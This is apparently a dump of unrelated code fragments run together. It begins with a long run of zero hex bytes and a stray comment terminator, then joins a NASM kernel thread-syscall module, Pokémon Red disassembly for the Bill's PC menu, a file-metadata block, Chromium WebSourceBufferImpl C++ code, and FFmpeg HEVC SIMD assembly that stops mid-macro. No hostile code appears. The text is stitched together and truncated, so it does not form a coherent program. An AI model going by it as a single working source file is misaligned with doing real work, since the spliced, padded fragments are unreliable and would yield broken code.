00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
;-------------------------------------------------------------------------------
; thread.nasm - thread system calls.
;-------------------------------------------------------------------------------
module tm.kern.thread
%include "sys.ah"
%include "errors.ah"
%include "thread.ah"
%include "tm/kern.ah"
%include "tm/process.ah"
publicproc DestroyThread
publicdata ThreadSyscallTable
externproc R0_Pid2PCBaddr
importproc K_PoolChunkAddr
importproc MT_CreateThread, MT_ThrEnqueue
importproc K_SemV, K_SemP
section .data
ThreadSyscallTable:
mSyscallTabEnt ThreadCreate, 4
mSyscallTabEnt ThreadDestroy, 3
mSyscallTabEnt SchedGet, 3
mSyscallTabEnt SchedSet, 4
mSyscallTabEnt SchedInfo, 3
mSyscallTabEnt 0
section .text
; int ThreadCreate(pid_t pid, void *(func)(void), void *arg, \
; const struct _thread_attr *attr);
proc sys_ThreadCreate
arg pid, func, par, attr
prologue
; Get a current thread and its PCB address
mCurrThread ebx
mov esi,[ebx+tTCB.PCB]
; Only "root" can create threads in other processes
mov eax,[%$pid]
or eax,eax
jz .Create
mIsRoot esi
jne .Perm
call R0_Pid2PCBaddr
jc .Exit
; Create the thread and attach it to the process.
; Take care about PCB locking too.
.Create: mov eax,[%$par]
mov ebx,[%$func]
mov edx,[%$attr]
call MT_CreateThread
jc .Again
mLockCB esi, tProcDesc
mEnqueue dword [esi+tProcDesc.ThreadList], ProcNext, ProcPrev, ebx, tTCB, ecx
mUnlockCB esi, tProcDesc
call MT_ThrEnqueue
; Return TID
mov eax,[ebx+tTCB.TID]
.Exit: epilogue
ret
.Perm: mov eax,-EPERM
jmp .Exit
.Again: mov eax,-EAGAIN
jmp .Exit
endp ;---------------------------------------------------------------
; int ThreadDestroy(int tid, int priority, void *status);
proc sys_ThreadDestroy
arg tid, prio, status
prologue
mov eax,[%$status]
mov ebx,[%$prio]
mov edx,[%$tid]
call DestroyThread
epilogue
ret
endp ;---------------------------------------------------------------
; int SchedGet(pid_t pid, int tid, struct sched_param *param);
proc sys_SchedGet
arg pid, tid, param
prologue
MISSINGSYSCALL
epilogue
ret
endp ;---------------------------------------------------------------
; int SchedGet(pid_t pid, int tid, int policy,
; struct sched_param *param);
proc sys_SchedSet
arg pid, tid, policy, param
prologue
MISSINGSYSCALL
epilogue
ret
endp ;---------------------------------------------------------------
; int SchedInfo(pid_t pid, int policy, struct _sched_info *info);
proc sys_SchedInfo
arg pid, policy, info
prologue
MISSINGSYSCALL
epilogue
ret
endp ;---------------------------------------------------------------
; This routine is used by both ThreadDestroy system call and
; by thread kill trap handler.
; Input: EAX=optional exit status value,
; EBX=priority for destruction of multiple threads,
; EDX=TID.
proc DestroyThread
int3
ret
endp ;---------------------------------------------------------------
|
DisplayPCMainMenu::
xor a
ldh [hAutoBGTransferEnabled], a
call SaveScreenTilesToBuffer2
ld a, [wNumHoFTeams]
and a
jr nz, .leaguePCAvailable
CheckEvent EVENT_GOT_POKEDEX
jr z, .noOaksPC
ld a, [wNumHoFTeams]
and a
jr nz, .leaguePCAvailable
hlcoord 0, 0
ld b, 8
ld c, 14
jr .next
.noOaksPC
hlcoord 0, 0
ld b, 6
ld c, 14
jr .next
.leaguePCAvailable
hlcoord 0, 0
ld b, 10
ld c, 14
.next
call TextBoxBorder
call UpdateSprites
ld a, 3
ld [wMaxMenuItem], a
CheckEvent EVENT_MET_BILL
jr nz, .metBill
hlcoord 2, 2
ld de, SomeonesPCText
jr .next2
.metBill
hlcoord 2, 2
ld de, BillsPCText
.next2
call PlaceString
hlcoord 2, 4
ld de, wPlayerName
call PlaceString
ld l, c
ld h, b
ld de, PlayersPCText
call PlaceString
CheckEvent EVENT_GOT_POKEDEX
jr z, .noOaksPC2
hlcoord 2, 6
ld de, OaksPCText
call PlaceString
ld a, [wNumHoFTeams]
and a
jr z, .noLeaguePC
ld a, 4
ld [wMaxMenuItem], a
hlcoord 2, 8
ld de, PKMNLeaguePCText
call PlaceString
hlcoord 2, 10
ld de, LogOffPCText
jr .next3
.noLeaguePC
hlcoord 2, 8
ld de, LogOffPCText
jr .next3
.noOaksPC2
ld a, $2
ld [wMaxMenuItem], a
hlcoord 2, 6
ld de, LogOffPCText
.next3
call PlaceString
ld a, A_BUTTON | B_BUTTON
ld [wMenuWatchedKeys], a
ld a, 2
ld [wTopMenuItemY], a
ld a, 1
ld [wTopMenuItemX], a
xor a
ld [wCurrentMenuItem], a
ld [wLastMenuItem], a
ld a, 1
ldh [hAutoBGTransferEnabled], a
ret
SomeonesPCText: db "SOMEONE's PC@"
BillsPCText: db "BILL's PC@"
PlayersPCText: db "'s PC@"
OaksPCText: db "PROF.OAK's PC@"
PKMNLeaguePCText: db "<PKMN>LEAGUE@"
LogOffPCText: db "LOG OFF@"
BillsPC_::
ld hl, wd730
set 6, [hl]
xor a
ld [wParentMenuItem], a
inc a ; MONSTER_NAME
ld [wNameListType], a
call LoadHpBarAndStatusTilePatterns
ld a, [wListScrollOffset]
push af
ld a, [wFlags_0xcd60]
bit 3, a ; accessing Bill's PC through another PC?
jr nz, BillsPCMenu
; accessing it directly
ld a, SFX_TURN_ON_PC
call PlaySound
ld hl, SwitchOnText
call PrintText
BillsPCMenu:
ld a, [wParentMenuItem]
ld [wCurrentMenuItem], a
ld hl, vChars2 tile $78
ld de, PokeballTileGraphics
lb bc, BANK(PokeballTileGraphics), 1
call CopyVideoData
call LoadScreenTilesFromBuffer2DisableBGTransfer
hlcoord 0, 0
ld b, 10
ld c, 12
call TextBoxBorder
hlcoord 2, 2
ld de, BillsPCMenuText
call PlaceString
ld hl, wTopMenuItemY
ld a, 2
ld [hli], a ; wTopMenuItemY
dec a
ld [hli], a ; wTopMenuItemX
inc hl
inc hl
ld a, 4
ld [hli], a ; wMaxMenuItem
ld a, A_BUTTON | B_BUTTON
ld [hli], a ; wMenuWatchedKeys
xor a
ld [hli], a ; wLastMenuItem
ld [hli], a ; wPartyAndBillsPCSavedMenuItem
ld hl, wListScrollOffset
ld [hli], a ; wListScrollOffset
ld [hl], a ; wMenuWatchMovingOutOfBounds
ld [wPlayerMonNumber], a
ld hl, WhatText
call PrintText
hlcoord 9, 14
ld b, 2
ld c, 9
call TextBoxBorder
ld a, [wCurrentBoxNum]
and $7f
cp 9
jr c, .singleDigitBoxNum
; two digit box num
sub 9
hlcoord 17, 16
ld [hl], "1"
add "0"
jr .next
.singleDigitBoxNum
add "1"
.next
ldcoord_a 18, 16
hlcoord 10, 16
ld de, BoxNoPCText
call PlaceString
ld a, 1
ldh [hAutoBGTransferEnabled], a
call Delay3
call HandleMenuInput
bit 1, a
jp nz, ExitBillsPC ; b button
call PlaceUnfilledArrowMenuCursor
ld a, [wCurrentMenuItem]
ld [wParentMenuItem], a
and a
jp z, BillsPCWithdraw ; withdraw
cp $1
jp z, BillsPCDeposit ; deposit
cp $2
jp z, BillsPCRelease ; release
cp $3
jp z, BillsPCChangeBox ; change box
ExitBillsPC:
ld a, [wFlags_0xcd60]
bit 3, a ; accessing Bill's PC through another PC?
jr nz, .next
; accessing it directly
call LoadTextBoxTilePatterns
ld a, SFX_TURN_OFF_PC
call PlaySound
call WaitForSoundToFinish
.next
ld hl, wFlags_0xcd60
res 5, [hl]
call LoadScreenTilesFromBuffer2
pop af
ld [wListScrollOffset], a
ld hl, wd730
res 6, [hl]
ret
BillsPCDeposit:
ld a, [wPartyCount]
dec a
jr nz, .partyLargeEnough
ld hl, CantDepositLastMonText
call PrintText
jp BillsPCMenu
.partyLargeEnough
ld a, [wBoxCount]
cp MONS_PER_BOX
jr nz, .boxNotFull
ld hl, BoxFullText
call PrintText
jp BillsPCMenu
.boxNotFull
ld hl, wPartyCount
call DisplayMonListMenu
jp c, BillsPCMenu
call DisplayDepositWithdrawMenu
jp nc, BillsPCMenu
ld a, [wcf91]
call GetCryData
call PlaySoundWaitForCurrent
ld a, PARTY_TO_BOX
ld [wMoveMonType], a
call MoveMon
xor a
ld [wRemoveMonFromBox], a
call RemovePokemon
call WaitForSoundToFinish
ld hl, wBoxNumString
ld a, [wCurrentBoxNum]
and $7f
cp 9
jr c, .singleDigitBoxNum
sub 9
ld [hl], "1"
inc hl
add "0"
jr .next
.singleDigitBoxNum
add "1"
.next
ld [hli], a
ld [hl], "@"
ld hl, MonWasStoredText
call PrintText
jp BillsPCMenu
BillsPCWithdraw:
ld a, [wBoxCount]
and a
jr nz, .boxNotEmpty
ld hl, NoMonText
call PrintText
jp BillsPCMenu
.boxNotEmpty
ld a, [wPartyCount]
cp PARTY_LENGTH
jr nz, .partyNotFull
ld hl, CantTakeMonText
call PrintText
jp BillsPCMenu
.partyNotFull
ld hl, wBoxCount
call DisplayMonListMenu
jp c, BillsPCMenu
call DisplayDepositWithdrawMenu
jp nc, BillsPCMenu
ld a, [wWhichPokemon]
ld hl, wBoxMonNicks
call GetPartyMonName
ld a, [wcf91]
call GetCryData
call PlaySoundWaitForCurrent
xor a ; BOX_TO_PARTY
ld [wMoveMonType], a
call MoveMon
ld a, 1
ld [wRemoveMonFromBox], a
call RemovePokemon
call WaitForSoundToFinish
ld hl, MonIsTakenOutText
call PrintText
jp BillsPCMenu
BillsPCRelease:
ld a, [wBoxCount]
and a
jr nz, .loop
ld hl, NoMonText
call PrintText
jp BillsPCMenu
.loop
ld hl, wBoxCount
call DisplayMonListMenu
jp c, BillsPCMenu
ld hl, OnceReleasedText
call PrintText
call YesNoChoice
ld a, [wCurrentMenuItem]
and a
jr nz, .loop
inc a
ld [wRemoveMonFromBox], a
call RemovePokemon
call WaitForSoundToFinish
ld a, [wcf91]
call PlayCry
ld hl, MonWasReleasedText
call PrintText
jp BillsPCMenu
BillsPCChangeBox:
farcall ChangeBox
jp BillsPCMenu
DisplayMonListMenu:
ld a, l
ld [wListPointer], a
ld a, h
ld [wListPointer + 1], a
xor a
ld [wPrintItemPrices], a
ld [wListMenuID], a
inc a ; MONSTER_NAME
ld [wNameListType], a
ld a, [wPartyAndBillsPCSavedMenuItem]
ld [wCurrentMenuItem], a
call DisplayListMenuID
ld a, [wCurrentMenuItem]
ld [wPartyAndBillsPCSavedMenuItem], a
ret
BillsPCMenuText:
db "WITHDRAW <PKMN>"
next "DEPOSIT <PKMN>"
next "RELEASE <PKMN>"
next "CHANGE BOX"
next "SEE YA!"
db "@"
BoxNoPCText:
db "BOX No.@"
KnowsHMMove::
; returns whether mon with party index [wWhichPokemon] knows an HM move
ld hl, wPartyMon1Moves
ld bc, wPartyMon2 - wPartyMon1
jr .next
; unreachable
ld hl, wBoxMon1Moves
ld bc, wBoxMon2 - wBoxMon1
.next
ld a, [wWhichPokemon]
call AddNTimes
ld b, NUM_MOVES
.loop
ld a, [hli]
push hl
push bc
ld hl, HMMoveArray
ld de, 1
call IsInArray
pop bc
pop hl
ret c
dec b
jr nz, .loop
and a
ret
HMMoveArray:
INCLUDE "data/moves/hm_moves.asm"
DisplayDepositWithdrawMenu:
hlcoord 9, 10
ld b, 6
ld c, 9
call TextBoxBorder
ld a, [wParentMenuItem]
and a ; was the Deposit or Withdraw item selected in the parent menu?
ld de, DepositPCText
jr nz, .next
ld de, WithdrawPCText
.next
hlcoord 11, 12
call PlaceString
hlcoord 11, 14
ld de, StatsCancelPCText
call PlaceString
ld hl, wTopMenuItemY
ld a, 12
ld [hli], a ; wTopMenuItemY
ld a, 10
ld [hli], a ; wTopMenuItemX
xor a
ld [hli], a ; wCurrentMenuItem
inc hl
ld a, 2
ld [hli], a ; wMaxMenuItem
ld a, A_BUTTON | B_BUTTON
ld [hli], a ; wMenuWatchedKeys
xor a
ld [hl], a ; wLastMenuItem
ld hl, wListScrollOffset
ld [hli], a ; wListScrollOffset
ld [hl], a ; wMenuWatchMovingOutOfBounds
ld [wPlayerMonNumber], a
ld [wPartyAndBillsPCSavedMenuItem], a
.loop
call HandleMenuInput
bit 1, a ; pressed B?
jr nz, .exit
ld a, [wCurrentMenuItem]
and a
jr z, .choseDepositWithdraw
dec a
jr z, .viewStats
.exit
and a
ret
.choseDepositWithdraw
scf
ret
.viewStats
call SaveScreenTilesToBuffer1
ld a, [wParentMenuItem]
and a
ld a, PLAYER_PARTY_DATA
jr nz, .next2
ld a, BOX_DATA
.next2
ld [wMonDataLocation], a
predef StatusScreen
predef StatusScreen2
call LoadScreenTilesFromBuffer1
call ReloadTilesetTilePatterns
call RunDefaultPaletteCommand
call LoadGBPal
jr .loop
DepositPCText: db "DEPOSIT@"
WithdrawPCText: db "WITHDRAW@"
StatsCancelPCText:
db "STATS"
next "CANCEL@"
SwitchOnText:
text_far _SwitchOnText
text_end
WhatText:
text_far _WhatText
text_end
DepositWhichMonText:
text_far _DepositWhichMonText
text_end
MonWasStoredText:
text_far _MonWasStoredText
text_end
CantDepositLastMonText:
text_far _CantDepositLastMonText
text_end
BoxFullText:
text_far _BoxFullText
text_end
MonIsTakenOutText:
text_far _MonIsTakenOutText
text_end
NoMonText:
text_far _NoMonText
text_end
CantTakeMonText:
text_far _CantTakeMonText
text_end
ReleaseWhichMonText:
text_far _ReleaseWhichMonText
text_end
OnceReleasedText:
text_far _OnceReleasedText
text_end
MonWasReleasedText:
text_far _MonWasReleasedText
text_end
CableClubLeftGameboy::
ldh a, [hSerialConnectionStatus]
cp USING_EXTERNAL_CLOCK
ret z
ld a, [wSpritePlayerStateData1FacingDirection]
cp SPRITE_FACING_RIGHT
ret nz
ld a, [wCurMap]
cp TRADE_CENTER
ld a, LINK_STATE_START_TRADE
jr z, .next
inc a ; LINK_STATE_START_BATTLE
.next
ld [wLinkState], a
call EnableAutoTextBoxDrawing
tx_pre_jump JustAMomentText
CableClubRightGameboy::
ldh a, [hSerialConnectionStatus]
cp USING_INTERNAL_CLOCK
ret z
ld a, [wSpritePlayerStateData1FacingDirection]
cp SPRITE_FACING_LEFT
ret nz
ld a, [wCurMap]
cp TRADE_CENTER
ld a, LINK_STATE_START_TRADE
jr z, .next
inc a ; LINK_STATE_START_BATTLE
.next
ld [wLinkState], a
call EnableAutoTextBoxDrawing
tx_pre_jump JustAMomentText
JustAMomentText::
text_far _JustAMomentText
text_end
ld a, [wSpritePlayerStateData1FacingDirection]
cp SPRITE_FACING_UP
ret nz
call EnableAutoTextBoxDrawing
tx_pre_jump OpenBillsPCText
OpenBillsPCText::
script_bills_pc
|
Name: ys_w44.asm
Type: file
Size: 25275
Last-Modified: '2016-05-13T04:51:16Z'
SHA-1: 2DAF4EDFBC190533F4114EFE9880F3BAEDD6D4A3
Description: null
|
// Copyright 2013 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "media/blink/websourcebuffer_impl.h"
#include <stdint.h>
#include <cmath>
#include <limits>
#include "base/bind.h"
#include "base/callback.h"
#include "base/callback_helpers.h"
#include "media/base/timestamp_constants.h"
#include "media/filters/chunk_demuxer.h"
#include "third_party/WebKit/public/platform/WebSourceBufferClient.h"
namespace media {
static base::TimeDelta DoubleToTimeDelta(double time) {
DCHECK(!std::isnan(time));
DCHECK_NE(time, -std::numeric_limits<double>::infinity());
if (time == std::numeric_limits<double>::infinity())
return kInfiniteDuration();
// Don't use base::TimeDelta::Max() here, as we want the largest finite time
// delta.
base::TimeDelta max_time = base::TimeDelta::FromInternalValue(
std::numeric_limits<int64_t>::max() - 1);
double max_time_in_seconds = max_time.InSecondsF();
if (time >= max_time_in_seconds)
return max_time;
return base::TimeDelta::FromMicroseconds(
time * base::Time::kMicrosecondsPerSecond);
}
WebSourceBufferImpl::WebSourceBufferImpl(
const std::string& id, ChunkDemuxer* demuxer)
: id_(id),
demuxer_(demuxer),
client_(NULL),
append_window_end_(kInfiniteDuration()) {
DCHECK(demuxer_);
}
WebSourceBufferImpl::~WebSourceBufferImpl() {
DCHECK(!demuxer_) << "Object destroyed w/o removedFromMediaSource() call";
DCHECK(!client_);
}
void WebSourceBufferImpl::setClient(blink::WebSourceBufferClient* client) {
DCHECK(client);
DCHECK(!client_);
client_ = client;
}
bool WebSourceBufferImpl::setMode(WebSourceBuffer::AppendMode mode) {
if (demuxer_->IsParsingMediaSegment(id_))
return false;
switch (mode) {
case WebSourceBuffer::AppendModeSegments:
demuxer_->SetSequenceMode(id_, false);
return true;
case WebSourceBuffer::AppendModeSequence:
demuxer_->SetSequenceMode(id_, true);
return true;
}
NOTREACHED();
return false;
}
blink::WebTimeRanges WebSourceBufferImpl::buffered() {
Ranges<base::TimeDelta> ranges = demuxer_->GetBufferedRanges(id_);
blink::WebTimeRanges result(ranges.size());
for (size_t i = 0; i < ranges.size(); i++) {
result[i].start = ranges.start(i).InSecondsF();
result[i].end = ranges.end(i).InSecondsF();
}
return result;
}
bool WebSourceBufferImpl::evictCodedFrames(double currentPlaybackTime,
size_t newDataSize) {
return demuxer_->EvictCodedFrames(
id_,
base::TimeDelta::FromSecondsD(currentPlaybackTime),
newDataSize);
}
void WebSourceBufferImpl::append(
const unsigned char* data,
unsigned length,
double* timestamp_offset) {
base::TimeDelta old_offset = timestamp_offset_;
demuxer_->AppendData(id_, data, length,
append_window_start_, append_window_end_,
×tamp_offset_,
base::Bind(&WebSourceBufferImpl::InitSegmentReceived,
base::Unretained(this)));
// Coded frame processing may update the timestamp offset. If the caller
// provides a non-NULL |timestamp_offset| and frame processing changes the
// timestamp offset, report the new offset to the caller. Do not update the
// caller's offset otherwise, to preserve any pre-existing value that may have
// more than microsecond precision.
if (timestamp_offset && old_offset != timestamp_offset_)
*timestamp_offset = timestamp_offset_.InSecondsF();
}
void WebSourceBufferImpl::resetParserState() {
demuxer_->ResetParserState(id_,
append_window_start_, append_window_end_,
×tamp_offset_);
// TODO(wolenetz): resetParserState should be able to modify the caller
// timestamp offset (just like WebSourceBufferImpl::append).
// See http://crbug.com/370229 for further details.
}
void WebSourceBufferImpl::remove(double start, double end) {
DCHECK_GE(start, 0);
DCHECK_GE(end, 0);
demuxer_->Remove(id_, DoubleToTimeDelta(start), DoubleToTimeDelta(end));
}
bool WebSourceBufferImpl::setTimestampOffset(double offset) {
if (demuxer_->IsParsingMediaSegment(id_))
return false;
timestamp_offset_ = DoubleToTimeDelta(offset);
// http://www.w3.org/TR/media-source/#widl-SourceBuffer-timestampOffset
// Step 6: If the mode attribute equals "sequence", then set the group start
// timestamp to new timestamp offset.
demuxer_->SetGroupStartTimestampIfInSequenceMode(id_, timestamp_offset_);
return true;
}
void WebSourceBufferImpl::setAppendWindowStart(double start) {
DCHECK_GE(start, 0);
append_window_start_ = DoubleToTimeDelta(start);
}
void WebSourceBufferImpl::setAppendWindowEnd(double end) {
DCHECK_GE(end, 0);
append_window_end_ = DoubleToTimeDelta(end);
}
void WebSourceBufferImpl::removedFromMediaSource() {
demuxer_->RemoveId(id_);
demuxer_ = NULL;
client_ = NULL;
}
void WebSourceBufferImpl::InitSegmentReceived() {
DVLOG(1) << __FUNCTION__;
client_->initializationSegmentReceived();
}
} // namespace media
|
; /*
; * Provide SSE luma and chroma mc functions for HEVC decoding
; * Copyright (c) 2013 Pierre-Edouard LEPERE
; *
; * This file is part of FFmpeg.
; *
; * FFmpeg is free software; you can redistribute it and/or
; * modify it under the terms of the GNU Lesser General Public
; * License as published by the Free Software Foundation; either
; * version 2.1 of the License, or (at your option) any later version.
; *
; * FFmpeg is distributed in the hope that it will be useful,
; * but WITHOUT ANY WARRANTY; without even the implied warranty of
; * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
; * Lesser General Public License for more details.
; *
; * You should have received a copy of the GNU Lesser General Public
; * License along with FFmpeg; if not, write to the Free Software
; * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
; */
%include "libavutil/x86/x86util.asm"
SECTION_RODATA 32
cextern pw_255
cextern pw_512
cextern pw_2048
cextern pw_8192
cextern pw_1023
cextern pw_1024
cextern pw_4096
%define pw_8 pw_512
%define pw_10 pw_2048
%define pw_12 pw_8192
%define pw_bi_10 pw_1024
%define pw_bi_12 pw_4096
%define max_pixels_8 pw_255
%define max_pixels_10 pw_1023
pw_bi_8: times 16 dw (1 << 8)
max_pixels_12: times 16 dw ((1 << 12)-1)
cextern pd_1
cextern pb_0
%macro EPEL_TABLE 4
hevc_epel_filters_%4_%1 times %2 d%3 -2, 58
times %2 d%3 10, -2
times %2 d%3 -4, 54
times %2 d%3 16, -2
times %2 d%3 -6, 46
times %2 d%3 28, -4
times %2 d%3 -4, 36
times %2 d%3 36, -4
times %2 d%3 -4, 28
times %2 d%3 46, -6
times %2 d%3 -2, 16
times %2 d%3 54, -4
times %2 d%3 -2, 10
times %2 d%3 58, -2
%endmacro
EPEL_TABLE 8,16, b, avx2
EPEL_TABLE 10, 8, w, avx2
EPEL_TABLE 8, 8, b, sse4
EPEL_TABLE 10, 4, w, sse4
EPEL_TABLE 12, 4, w, sse4
%macro QPEL_TABLE 4
hevc_qpel_filters_%4_%1 times %2 d%3 -1, 4
times %2 d%3 -10, 58
times %2 d%3 17, -5
times %2 d%3 1, 0
times %2 d%3 -1, 4
times %2 d%3 -11, 40
times %2 d%3 40,-11
times %2 d%3 4, -1
times %2 d%3 0, 1
times %2 d%3 -5, 17
times %2 d%3 58,-10
times %2 d%3 4, -1
%endmacro
QPEL_TABLE 8, 8, b, sse4
QPEL_TABLE 10, 4, w, sse4
QPEL_TABLE 12, 4, w, sse4
QPEL_TABLE 8,16, b, avx2
QPEL_TABLE 10, 8, w, avx2
SECTION .text
%define MAX_PB_SIZE 64
%define hevc_qpel_filters_sse4_14 hevc_qpel_filters_sse4_10
%define hevc_qpel_filters_avx2_14 hevc_qpel_filters_avx2_10
%if ARCH_X86_64
%macro SIMPLE_BILOAD 4 ;width, tab, r1, r2
%if %1 <= 4
movq %3, [%2] ; load data from source2
%elif %1 <= 8
movdqa %3, [%2] ; load data from source2
%elif %1 <= 12
%if cpuflag(avx2)
mova %3, [%2]
%else
movdqa %3, [%2] ; load data from source2
movq %4, [%2+16] ; load data from source2
%endif ;avx
%elif %1 <= 16
%if cpuflag(avx2)
mova %3, [%2]
%else
movdqa %3, [%2] ; load data from source2
movdqa %4, [%2+16] ; load data from source2
%endif ; avx
%else ; %1 = 32
mova %3, [%2]
mova %4, [%2+32]
%endif
%endmacro
%macro SIMPLE_LOAD 4 ;width, bitd, tab, r1
%if %1 == 2 || (%2 == 8 && %1 <= 4)
movd %4, [%3] ; load data from source
%elif %1 == 4 || (%2 == 8 && %1 <= 8)
movq %4, [%3] ; load data from source
%elif notcpuflag(avx)
movu %4, [%3] ; load data from source
%elif %1 <= 8 || (%2 == 8 && %1 <= 16)
movdqu %4, [%3]
%else
movu %4, [%3]
%endif
%endmacro
%macro EPEL_FILTER 5 ; bit depth, filter index, xmma, xmmb, gprtmp
%if cpuflag(avx2)
%assign %%offset 32
%ifdef PIC
lea %5q, [hevc_epel_filters_avx2_%1]
%define FILTER %5q
%else
%define FILTER hevc_epel_filters_avx2_%1
%endif
%else
%assign %%offset 16
%ifdef PIC
lea %5q, [hevc_epel_filters_sse4_%1]
%define FILTER %5q
%else
%define FILTER hevc_epel_filters_sse4_%1
%endif
%endif ;cpuflag(avx2)
sub %2q, 1
%if cpuflag(avx2)
shl %2q, 6 ; multiply by 64
%else
shl %2q, 5 ; multiply by 32
%endif
mova %3, [FILTER + %2q] ; get 2 first values of filters
mova %4, [FILTER + %2q+%%offset] ; get 2 last values of filters
%endmacro
%macro EPEL_HV_FILTER 1
%if cpuflag(avx2)
%assign %%offset 32
%assign %%shift 6
%define %%table hevc_epel_filters_avx2_%1
%else
%assign %%offset 16
%assign %%shift 5
%define %%table hevc_epel_filters_sse4_%1
%endif
%ifdef PIC
lea r3srcq, [%%table]
%define FILTER r3srcq
%else
%define FILTER %%table
%endif
sub mxq, 1
sub myq, 1
shl mxq, %%shift ; multiply by 32
shl myq, %%shift ; multiply by 32
mova m14, [FILTER + mxq] ; get 2 first values of filters
mova m15, [FILTER + mxq+%%offset] ; get 2 last values of filters
%if cpuflag(avx2)
%define %%table hevc_epel_filters_avx2_10
%else
%define %%table hevc_epel_filters_sse4_10
%endif
%ifdef PIC
lea r3srcq, [%%table]
%define FILTER r3srcq
%else
%define FILTER %%table
%endif
mova m12, [FILTER + myq] ; get 2 first values of filters
mova m13, [FILTER + myq+%%offset] ; get 2 last values of filters
lea r3srcq, [srcstrideq*3]
%endmacro
%macro QPEL_FILTER 2
%if cpuflag(avx2)
%assign %%offset 32
%assign %%shift 7
%define %%table hevc_qpel_filters_avx2_%1
%else
%assign %%offset 16
%assign %%shift 6
%define %%table hevc_qpel_filters_sse4_%1
%endif
%ifdef PIC
lea rfilterq, [%%table]
%else
%define rfilterq %%table
%endif
sub %2q, 1
shl %2q, %%shift ; multiply by 32
mova m12, [rfilterq + %2q] ; get 4 first values of filters
mova m13, [rfilterq + %2q + %%offset] ; get 4 first values of filters
mova m14, [rfilterq + %2q + 2*%%offset] ; get 4 first values of filters
mova m15, [rfilterq + %2q + 3*%%offset] ; get 4 first values of filters
%endmacro
%macro EPEL_LOAD 4
%if (%1 == 8 && %4 <= 4)
%define %%load movd
%elif (%1 == 8 && %4 <= 8) || (%1 > 8 && %4 <= 4)
%define %%load movq
%else
%define %%load movdqu
%endif
%%load m0, [%2q ]
%ifnum %3
%%load m1, [%2q+ %3]
%%load m2, [%2q+2*%3]
%%load m3, [%2q+3*%3]
%else
%%load m1, [%2q+ %3q]
%%load m2, [%2q+2*%3q]
%%load m3, [%2q+r3srcq]
%endif
%if %1 == 8
%if %4 > 8
SBUTTERFLY bw, 0, 1, 7
SBUTTERFLY bw, 2, 3, 7
%else
punpcklbw m0, m1
punpcklbw m2, m3
%endif
%else
%if %4 > 4
SBUTTERFLY wd, 0, 1, 7
SBUTTERFLY wd, 2, 3, 7
%else
punpcklwd m0, m1
punpcklwd m2, m3
%endif
%endif
%endmacro
%macro QPEL_H_LOAD 4
